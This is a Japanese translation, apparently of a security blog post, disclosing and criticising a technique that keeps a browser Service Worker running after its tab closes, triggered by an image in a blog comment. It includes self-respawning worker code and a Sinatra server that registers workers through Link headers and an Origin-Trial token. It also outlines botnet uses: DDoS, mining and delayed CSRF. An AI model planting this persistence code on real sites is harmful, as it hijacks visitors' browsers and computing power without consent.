要するに、この投稿では、Service Workerを使用してブラウザーで無限のJavaScriptコードを実行する多くの方法の1つと、テクノロジー自体に対するもう少しの批判を見ていきます。
このリンクで例を見つけることができます 。 タブを閉じます。 数分後、DevTools / Application / ServiceWorker / Show Allを開きます。 ご覧のとおり、コードは引き続き機能します(ただし、既に修正されている場合があります)。
Catworkerは継続的に実行され、ゾンビのようにさまざまなタスクを実行します。 つまり、悪意のあるページを使用する必要はなく、アドレスのあるブログで十分です。 コメントにサードパーティの画像を追加する機能により、コードを実行できます。
<img src="https://truefactor.io/cat.gif">
Web開発者はこれを期待していませんでした。イメージタグがJSコードの実行をトリガーする方法 JSを継続的に実行するにはどうすればよいですか? それは可能ですか?
Service Workerは複雑すぎます
「進歩的な」Webアプリケーションの人気を高めるために、Chromeチームは許可を求めずにService Workerを作成しました。 実際には、この新しい「高度な」ソリューションは、ポップアッププッシュ通知を表示するためにのみ使用されます(もちろん、Service Workerの有用性はこれに限定されず、たとえばオフラインモードやbacksync、およそTranslatorの実装に使用されます) 。 私の言葉を受け入れない場合は、登録済みのService Workerを開いてその内容を調べてください。
たとえ何百行ものコード、FCMへの依存など、これもそれほど簡単には行われません(FCM = Firebase Cloud Messagingですが、この場合は使用する必要はありません-翻訳者のメモ) 。 サーバーでsw.jsをホストし、クライアント側でワーカーを登録し、Promiseが受信されるのを待ってからserviceWorkerRegistration.pushManager.getSubscription()を実行し、エンドポイントとregistration_idを要求してサーバーに保存します。
だから私は実装します:
navigator.pushManager.getSubscription("We will send you weather updates once an hour").then(function(endpoint){ #FCM endpoint })
私の謙虚な意見では、Service Workerは存在しない質問に対する素晴らしい答えです。 このソリューションを使用することを学ぶことはAppcacheよりもはるかに難しく(AppCacheは、欠点があるため廃止されたテクノロジーと見なされます -翻訳者のメモ) 、さらに、信頼性が低くなります。
長期的な仕事を確保する方法
Service Workerは、onmessage、onfetch、onforeignfetchなどの最後のイベントを受信してから60秒後にシャットダウンします。
1.自分にメッセージを送信します。
self.addEventListener('message', function (event) { var spawnNewMessageEvent = function (data) { return new Promise(function (success) { setTimeout(function () { var sw = self.registration.active; sw.postMessage(data); success("success"); }, 30000) }); }; event.waitUntil(doSomething().then(spawnNewMessageEvent)); });
1. 2人のワーカーがお互いにForeignFetch要求を送信します。 ForeignFetchを使用するには、Origin Trialトークンを取得する必要があります。これは、検証や確認を必要とせず、攻撃者が同意なしに実際のユーザーに新しい実験技術を適用できる完全自動化プロセスです。
2. Catworkerはcat.gifにフェッチ要求を送信します。その結果、新しいワーカーが異なる作業範囲で登録されます(これは参照による登録と呼ばれます)。 このプロセスは55秒ごとに繰り返されます。
require 'sinatra' ot = 'AglMWHYLtMNT8FVZp9u368r0HZPKh7Pjfm7WYEyHwKz4zwaSznv682Bckrz903mz54CVZQACD5ZlSrLpuh8CKQIAAABYeyJvcmlnaW4iOiAiaHR0cHM6Ly90cnVlZmFjdG9yLmlvOjQ0MyIsICJmZWF0dXJlIjogIkZvcmVpZ25GZXRjaCIsICJleHBpcnkiOiAxNDg0OTM2NzI3fQ==' get "/cat.gif" do response.headers['Origin-Trial'] = ot; response.headers['Access-Control-Allow-Origin'] = '*'; response.headers['Link'] = '</sw?'+rand(999999999).to_s+'>; rel="serviceworker"; scope="/'+rand(999999999).to_s+'"' if params[:skip] 'ok' else response.headers['Content-Type'] = "image/gif" File.open('./cat.gif').read end end get "/sw" do response.headers['Content-Type'] = "text/javascript" return sw=<<HTML //#{rand(999999999).to_s} setTimeout(function(){ console.log("Forking") fetch('https://truefactor.io/cat.gif?skip=1&'+Math.random(9999999)); }, 30000); HTML end
攻撃者はこれをどのように使用できますか?
現在、攻撃者にはブラウザを攻撃するための3つのオプションがあります。
- DDoS(ブラックリスト登録により簡単に防止)。
- scrypt / litecoinマイニングなど、大きなメモリ負荷を伴う計算。 1秒あたり2,000個のハッシュ関数しか取得できませんが、完全に無料です。 さらに、数百万台のマシンを計算に使用できます。 Service Workerが提供する他の機能を確認してください 。
- 最も危険なオプションは、遅延CSRF攻撃です。 WebサイトでCSRFの脆弱性を発見したら、すべての「ゾンビ」にタスクを指示し、それらのCookieを使用してリクエストを処理できます。
Service Workerプロセスは本質的に一定です。 これらはタブを閉じた後に実行され、同期イベントをランダムに受信してトリガーされ、24時間ごとに更新されます。Webサイトがプッシュ通知を送信できるようにすると、ポップアップウィンドウが表示されるたびにJSコードを実行できます。 これはすべて長い間使用されてきました。
将来、攻撃者は保護を回避する方法がさらに増え、コードが引き続き機能するようになります。
現在、このクラスのエラーには十分な注意が払われていません。 チケットはパブリック( 1、2、3 )で、優先度は最小限です。
これに加えて、 Origin Trialのアプローチは完全ではありません 。誰でもトークンを取得でき、誰でも実験関数を自分の目的に使用できます。 必要に応じてService Workerを有効または無効にする機能が必要です。
Service Workerを無効にするには、チェックボックスを追加する必要があると確信しています。 個人的には、この技術は私に何の利益ももたらさない。 (キャッシュのドキュメントを読みましたか?それは中国語の手紙のようなものです。)新しい機能は適切な検証なしに動作するため、同一生成元ポリシーおよびその他の重要なセキュリティ概念を確認できません...ここに、いくつかの軽微な脆弱性の説明があります: FF 乗っ取り 、サンドボックスドメイン攻撃 。